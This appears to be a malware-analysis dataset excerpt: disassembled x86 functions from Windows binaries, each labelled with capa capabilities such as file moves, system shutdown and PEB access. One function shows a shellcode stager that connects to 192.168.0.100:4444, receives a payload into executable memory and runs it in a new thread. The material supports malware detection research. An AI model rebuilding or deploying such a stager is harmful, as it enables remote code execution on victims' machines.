joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e10
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d07c]
sub esp, 4
test ebx, ebx
je 0x401e65
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401e5e
test esi, esi
je 0x401e5e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e40
mov dword [esp], 0x40d084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4021a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4021c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4021d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4021c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402218
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40220e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40221a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402200
xor eax, eax
pop ebx
pop esi
ret
Function at 0x408010
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x1a8]
push ecx
sub esp, 0x1c8
call fcn.00401590
mov dword [esp + 4], ebx
mov dword [esp], 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
sub esp, 0x18
mov esi, eax
mov eax, 2
mov word [ebp - 0x1b8], ax
mov dword [esp], 0x115c
call dword [sym.imp.WS2_32.dll_htons]
sub esp, 4
mov word [ebp - 0x1b6], ax
mov dword [esp], str.192.168.0.100
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1b4], eax
sub esp, 4
lea eax, [ebp - 0x1b8]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.WS2_32.dll_WSAConnect]
sub esp, 0x1c
jmp 0x40818e
mov dword [esp + 4], eax
mov dword [esp], str._d_bytes_received_n
call fcn.00407fe0
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0xee
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov edi, eax
mov dword [esp + 8], 0xee
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_memmove
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [esp], str.PAUSE
call sub.msvcrt.dll_system
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xee
mov dword [esp + 4], ebx
mov dword [esp], esi
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
test eax, eax
jg 0x408100
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x40c6b3
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40c6d7
xor eax, eax
jmp 0x40c753
lea ecx, [ebp - 0x10]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40c71a
xor eax, eax
jmp 0x40c753
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c750
mov dword [ebp - 8], 0
push 0
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40c790
Capabilities:
Delete file
Move file

Disassembly:
push 0xffffffffffffffff
push 0x42fbd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push 0x440e2c
lea ecx, [esp + 8]
call fcn.004266b1
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0
call fcn.00424cd3
mov ebx, 1
mov ecx, 0x440f08
mov byte [esp + 0x30], bl
call fcn.004140c0
cmp eax, ebx
jne 0x40c960
push str.WININIT.INI
lea ecx, [esp + 0xc]
call fcn.004266b1
lea eax, [esp + 0x10]
push 0
push eax
mov ecx, 0x440ea0
mov byte [esp + 0x38], 2
call fcn.0040ba90
lea ecx, [esp + 8]
push ebx
push ecx
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x40], 3
call fcn.0040ebd0
add esp, 0x10
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x34], 4
call fcn.00426730
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 3
call fcn.00426643
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 2
call fcn.00426643
lea ecx, [esp + 8]
mov byte [esp + 0x30], bl
call fcn.00426643
push str.rename
lea ecx, [esp + 0xc]
call fcn.004266b1
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0xc]
push ecx
push edx
mov byte [esp + 0x40], 5
call fcn.0040d8c0
add esp, 0x10
lea ecx, [esp + 8]
mov byte [esp + 0x30], bl
call fcn.00426643
mov eax, dword [esp + 0x38]
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push eax
call fcn.004263b8
lea ecx, [esp + 0x14]
push ecx
call fcn.0040e840
add esp, 8
push eax
lea edx, [esp + 0x3c]
push str.NUL
push edx
mov byte [esp + 0x3c], 6
call fcn.00426900
push eax
mov eax, dword [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 7
call fcn.00424edb
lea ecx, [esp + 0x38]
mov byte [esp + 0x30], 6
call fcn.00426643
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], bl
call fcn.00426643
push ecx
mov ecx, esp
mov dword [esp + 0x10], esp
push str.rename
call fcn.004266b1
push ecx
lea edx, [esp + 0xc]
mov ecx, esp
mov dword [esp + 0x10], esp
push edx
mov byte [esp + 0x3c], 8
call fcn.004263b8
mov byte [esp + 0x38], bl
call fcn.0040d6d0
add esp, 8
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push str.rename
call fcn.004266b1
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x14], esp
push edx
mov byte [esp + 0x40], 9
call fcn.004263b8
mov byte [esp + 0x3c], bl
call fcn.0040d780
add esp, 0xc
jmp 0x40c973
mov eax, dword [esp + 0x38]
push 4
push 0
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ebx, eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 0
call fcn.00424d06
lea ecx, [esp + 4]
mov dword [esp + 0x30], 0xffffffff
call fcn.00426643
mov ecx, dword [esp + 0x28]
mov eax, ebx
mov dword fs:[0], ecx
pop ebx
add esp, 0x30
ret
Function at 0x40ca20
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42fc17
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push 0x440e2c
lea ecx, [esp + 0xc]
mov dword [esp + 0x14], 0
call fcn.004266b1
mov ebx, 1
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push 0x43c748
mov dword [esp + 0x2c], ebx
call fcn.004266b1
mov esi, dword [esp + 0x34]
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push esi
mov byte [esp + 0x30], 2
call fcn.004263b8
mov byte [esp + 0x2c], bl
call fcn.0040f210
add esp, 0xc
test eax, eax
je 0x40caf1
push 0x43c748
lea ecx, [esp + 0x30]
call fcn.004266b1
push ecx
lea ecx, [esp + 0x30]
mov eax, esp
mov dword [esp + 0x18], esp
push ecx
push esi
push eax
mov byte [esp + 0x30], 3
call fcn.0040f450
add esp, 0xc
lea edx, [esp + 0x10]
push edx
call fcn.0040f7c0
add esp, 8
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 4
call fcn.00426730
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 3
call fcn.00426643
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], bl
call fcn.00426643
mov esi, dword [esp + 0x28]
lea eax, [esp + 8]
push eax
mov ecx, esi
call fcn.004263b8
mov dword [esp + 0x10], ebx
lea ecx, [esp + 8]
mov byte [esp + 0x20], 0
call fcn.00426643
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret
Function at 0x40cb30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42fc87
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
mov dword [esp + 0x18], 0
push 0x440e2c
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 1
call fcn.004266b1
push 0
push ecx
mov bl, 2
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x43c770
mov byte [esp + 0x34], bl
call fcn.004266b1
push ecx
lea eax, [esp + 0x40]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
mov byte [esp + 0x38], 3
call fcn.004263b8
mov byte [esp + 0x34], bl
call fcn.0040f210
add esp, 0xc
test eax, eax
je 0x40cbfb
push 0x43c770
lea ecx, [esp + 0x10]
call fcn.004266b1
lea ecx, [esp + 0xc]
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
mov byte [esp + 0x34], 4
call fcn.0040f450
add esp, 0xc
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c], 5
call fcn.00426730
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 4
call fcn.00426643
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], bl
call fcn.00426643
push 0x43c76c
lea ecx, [esp + 0x14]
call fcn.004266b1
push str.___:
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 6
call fcn.004266b1
push ecx
lea ecx, [esp + 0x14]
mov esi, esp
mov dword [esp + 0x20], esp
lea edx, [esp + 0x10]
push ecx
push edx
push ecx
lea eax, [esp + 0x44]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x3c], 7
call fcn.004263b8
push esi
call fcn.0040f6f0
add esp, 0x10
lea ecx, [esp + 0x18]
push ecx
call fcn.0040f7c0
add esp, 8
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 8
call fcn.00426730
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 7
call fcn.00426643
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 6
call fcn.00426643
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], bl
call fcn.00426643
mov esi, dword [esp + 0x30]
lea edx, [esp + 8]
push edx
mov ecx, esi
call fcn.004263b8
mov dword [esp + 0x18], 1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.00426643
lea ecx, [esp + 0x34]
mov byte [esp + 0x28], 0
call fcn.00426643
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret
Function at 0x40cce0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42fcd7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push 0x440e2c
lea ecx, [esp + 0xc]
mov dword [esp + 0x14], 0
call fcn.004266b1
mov ebx, 1
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x14], esp
push 0x43c748
mov dword [esp + 0x2c], ebx
call fcn.004266b1
mov esi, dword [esp + 0x34]
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push esi
mov byte [esp + 0x30], 2
call fcn.004263b8
mov byte [esp + 0x2c], bl
call fcn.0040f210
add esp, 0xc
test eax, eax
je 0x40cdb1
push 0x43c748
lea ecx, [esp + 0x30]
call fcn.004266b1
push ecx
lea ecx, [esp + 0x30]
mov eax, esp
mov dword [esp + 0x18], esp
push ecx
push esi
push eax
mov byte [esp + 0x30], 3
call fcn.0040f630
add esp, 0xc
lea edx, [esp + 0x10]
push edx
call fcn.0040f7c0
add esp, 8
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 4
call fcn.00426730
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 3
call fcn.00426643
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], bl
call fcn.00426643
mov esi, dword [esp + 0x28]
lea eax, [esp + 8]
push eax
mov ecx, esi
call fcn.004263b8
mov dword [esp + 0x10], ebx
lea ecx, [esp + 8]
mov byte [esp + 0x20], 0
call fcn.00426643
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret
Function at 0x40d6d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42fe58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
lea ecx, [esp + 8]
mov dword [esp + 0x24], 1
call fcn.00424cd3
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x30]
push eax
push ecx
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.00424edb
lea edx, [esp + 8]
lea eax, [esp + 0x2c]
push edx
push ecx
mov ecx, esp
mov dword [esp + 0xc], esp
push eax
call fcn.004263b8
call fcn.0040d3c0
add esp, 8
lea ecx, [esp + 8]
mov esi, eax
mov byte [esp + 0x24], 1
call fcn.00424d06
lea ecx, [esp + 0x2c]
mov byte [esp + 0x24], 0
call fcn.00426643
lea ecx, [esp + 0x30]
mov dword [esp + 0x24], 0xffffffff
call fcn.00426643
mov ecx, dword [esp + 0x1c]
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0x24
ret

Function at 0x40dbd0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x42ff20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
push edi
mov eax, dword [esp + 0x24]
xor edi, edi
mov dword [esp + 0x1c], 0
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x40dd2b
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x10], esp
push edx
call fcn.004263b8
lea eax, [esp + 0xc]
push eax
call fcn.0040e1c0
mov ecx, dword [eax]
add esp, 8
xor edx, edx
mov esi, dword [ecx - 8]
lea ecx, [esp + 8]
test esi, esi
sete dl
mov esi, edx
call fcn.00426643
test esi, esi
jne 0x40dd2b
push 0x43c774
lea ecx, [esp + 0xc]
call fcn.004266b1
lea eax, [esp + 8]
lea edx, [esp + 0x24]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
mov byte [esp + 0x28], 1
call fcn.004263b8
lea eax, [esp + 0x14]
push eax
call fcn.0040f9f0
add esp, 0xc
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 2
call fcn.00426730
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call fcn.00426643
lea ecx, [esp + 8]
mov byte [esp + 0x1c], 0
call fcn.00426643
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx - 8]
dec eax
test eax, eax
jl 0x40dcf2
mov al, byte [eax + ecx]
xor edx, edx
cmp al, 0x3a
sete dl
mov eax, edx
test eax, eax
je 0x40dcf2
lea eax, [esp + 0x24]
push 0x43c774
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.0042688c
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 3
call fcn.00426730
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 0
call fcn.00426643
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40dd07
test al, 0x10
je 0x40dd07
mov edi, 1
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00426643
mov eax, edi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x18
ret
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00426643
mov ecx, dword [esp + 0x14]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
add esp, 0x18
ret
Function at 0x40e9c0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x43019f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
xor esi, esi
mov dword [esp + 0xc], esi
push 0x440e2c
lea ecx, [esp + 8]
mov dword [esp + 0x28], 1
call fcn.004266b1
push esi
mov byte [esp + 0x28], 2
call fcn.004172d5
push eax
call fcn.004172a6
add esp, 8
xor eax, eax
mov byte [esp + 0x10], 0
mov dword [esp + 0x11], eax
mov dword [esp + 0x15], eax
mov byte [esp + 0x19], al
call fcn.004172b3
push eax
lea ecx, [esp + 0x14]
push str._05d
push ecx
call fcn.00417254
add esp, 0xc
lea edx, [esp + 0x10]
lea ecx, [esp + 4]
push edx
call fcn.00426780
lea eax, [esp + 4]
push 1
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.0040ebd0
add esp, 0x10
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x28], 3
call fcn.00426730
lea ecx, [esp + 8]
mov byte [esp + 0x24], 2
call fcn.00426643
lea eax, [esp + 4]
inc esi
push eax
call fcn.0040db00
add esp, 4
test eax, eax
je 0x40ea93
cmp esi, 0x64
jl 0x40ea09
cmp esi, 0x64
jne 0x40eaa6
push 0x440e2c
lea ecx, [esp + 8]
call fcn.00426780
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 4]
push ecx
mov ecx, esi
call fcn.004263b8
mov dword [esp + 0xc], 1
lea ecx, [esp + 4]
mov byte [esp + 0x24], 1
call fcn.00426643
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], 0
call fcn.00426643
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x24
ret

Function at 0x40eaf0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x4301c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push 0x440e2c
lea ecx, [esp + 8]
call fcn.004266b1
mov esi, dword [esp + 0x1c]
push ecx
mov ecx, esp
mov dword [esp + 0xc], esp
push esi
mov dword [esp + 0x1c], 0
call fcn.004263b8
lea eax, [esp + 0x20]
push eax
call fcn.0040e0f0
add esp, 8
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x18], 1
call fcn.00426730
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14], 0
call fcn.00426643
mov ecx, dword [esp + 4]
mov eax, dword [ecx - 8]
test eax, eax
je 0x40eb72
lea edx, [esp + 4]
push edx
call fcn.0040eaf0
add esp, 4
push ecx
mov ecx, esp
mov dword [esp + 0xc], esp
push esi
call fcn.004263b8
call fcn.0040dbd0
add esp, 4
test eax, eax
jne 0x40eb99
mov esi, dword [esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
jmp 0x40eb9e
mov esi, 1
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00426643
mov ecx, dword [esp + 0xc]
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0x14
ret
Function at 0x40f330
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x430357
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
push 0x440e2c
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0
call fcn.004266b1
mov esi, dword [esp + 0x2c]
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push esi
mov dword [esp + 0x28], 1
call fcn.004263b8
lea eax, [esp + 0x10]
push eax
call fcn.0040f840
mov edx, dword [esp + 0x38]
add esp, 4
mov ecx, esp
mov dword [esp + 0x30], esp
push edx
mov byte [esp + 0x28], 2
call fcn.004263b8
lea eax, [esp + 0xc]
push eax
call fcn.0040f840
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + 0x20], 3
push ecx
lea ecx, [esp + 0x10]
call fcn.0042471a
cmp eax, 0xffffffff
je 0x40f3eb
lea edx, [esp + 0x2c]
push eax
push edx
mov ecx, esi
call fcn.004246a2
push eax
lea ecx, [esp + 8]
mov byte [esp + 0x24], 4
call fcn.00426730
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], 3
call fcn.00426643
jmp 0x40f3f5
push esi
lea ecx, [esp + 8]
call fcn.00426730
mov esi, dword [esp + 0x28]
lea eax, [esp + 4]
push eax
mov ecx, esi
call fcn.004263b8
mov dword [esp + 0x10], 1
lea ecx, [esp + 8]
mov byte [esp + 0x20], 2
call fcn.00426643
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call fcn.00426643
lea ecx, [esp + 4]
mov byte [esp + 0x20], 0
call fcn.00426643
mov ecx, dword [esp + 0x18]
mov eax, esi
mov dword fs:[0], ecx
pop esi
add esp, 0x20
ret

Function at 0x40f510
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4303e7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
push edi
push 0x440e2c
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call fcn.004266b1
mov esi, dword [esp + 0x30]
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push esi
mov dword [esp + 0x2c], 1
call fcn.004263b8
lea eax, [esp + 0x14]
push eax
call fcn.0040f840
mov edi, dword [esp + 0x3c]
add esp, 4
mov ecx, esp
mov dword [esp + 0x34], esp
push edi
mov byte [esp + 0x2c], 2
call fcn.004263b8
lea ecx, [esp + 0x10]
push ecx
call fcn.0040f840
add esp, 8
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push edx
mov byte [esp + 0x28], 3
call fcn.0042471a
cmp eax, 0xffffffff
je 0x40f5d8
mov ecx, dword [esi]
mov edx, dword [edi]
mov ecx, dword [ecx - 8]
mov edi, dword [edx - 8]
sub ecx, edi
sub ecx, eax
lea eax, [esp + 0x30]
push ecx
push eax
mov ecx, esi
call fcn.00424626
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 4
call fcn.00426730
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], 3
call fcn.00426643
mov esi, dword [esp + 0x2c]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004263b8
mov dword [esp + 0x14], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 2
call fcn.00426643
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 1
call fcn.00426643
lea ecx, [esp + 8]
mov byte [esp + 0x24], 0
call fcn.00426643
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
add esp, 0x20
ret
Function at 0x410ea0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x430a88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push 0x440e2c
lea ecx, [esp + 0xc]
call fcn.004266b1
push 0x440e2c
lea ecx, [esp + 0x14]
mov dword [esp + 0x2c], 0
call fcn.004266b1
push 0x440e2c
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 1
call fcn.004266b1
push ecx
mov bl, 2
mov ecx, esp
mov dword [esp + 0x20], esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionCommonFilesDir
mov byte [esp + 0x30], bl
call fcn.004266b1
lea eax, [esp + 0x18]
push 0x80000002
push eax
call fcn.00413c70
add esp, 0xc
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 3
call fcn.00426730
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.00426643
push str.Microsoft_SharedDAO
lea ecx, [esp + 0x14]
call fcn.00426780
push 0x440e2c
lea ecx, [esp + 0x10]
call fcn.00426780
mov ecx, dword [esp + 8]
mov eax, dword [ecx - 8]
test eax, eax
je 0x410f94
lea edx, [esp + 0x10]
push 1
lea eax, [esp + 0xc]
push edx
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.0040ebd0
add esp, 0x10
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 4
call fcn.00426730
mov byte [esp + 0x28], bl
lea ecx, [esp + 0x14]
jmp 0x411035
push str.Common_Files
lea ecx, [esp + 0x18]
call fcn.004266b1
lea edx, [esp + 0x1c]
mov ecx, esi
push edx
mov byte [esp + 0x2c], 5
call fcn.00412d80
lea ecx, [esp + 0x14]
push 1
push ecx
lea edx, [esp + 0x20]
push eax
push edx
mov byte [esp + 0x38], 6
call fcn.0040ebd0
add esp, 0x10
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 7
call fcn.00426730
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 6
call fcn.00426643
lea ecx, [esp + 0x1c]
mov byte [esp + 0x28], 5
call fcn.00426643
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.00426643
lea eax, [esp + 0x10]
push 1
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.0040ebd0
add esp, 0x10
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 8
call fcn.00426730
mov byte [esp + 0x28], bl
lea ecx, [esp + 0x1c]
call fcn.00426643
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call fcn.00426730
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call fcn.00426643
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 0
call fcn.00426643
lea ecx, [esp + 8]
mov dword [esp + 0x28], 0xffffffff
call fcn.00426643
mov ecx, dword [esp + 0x20]
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret 4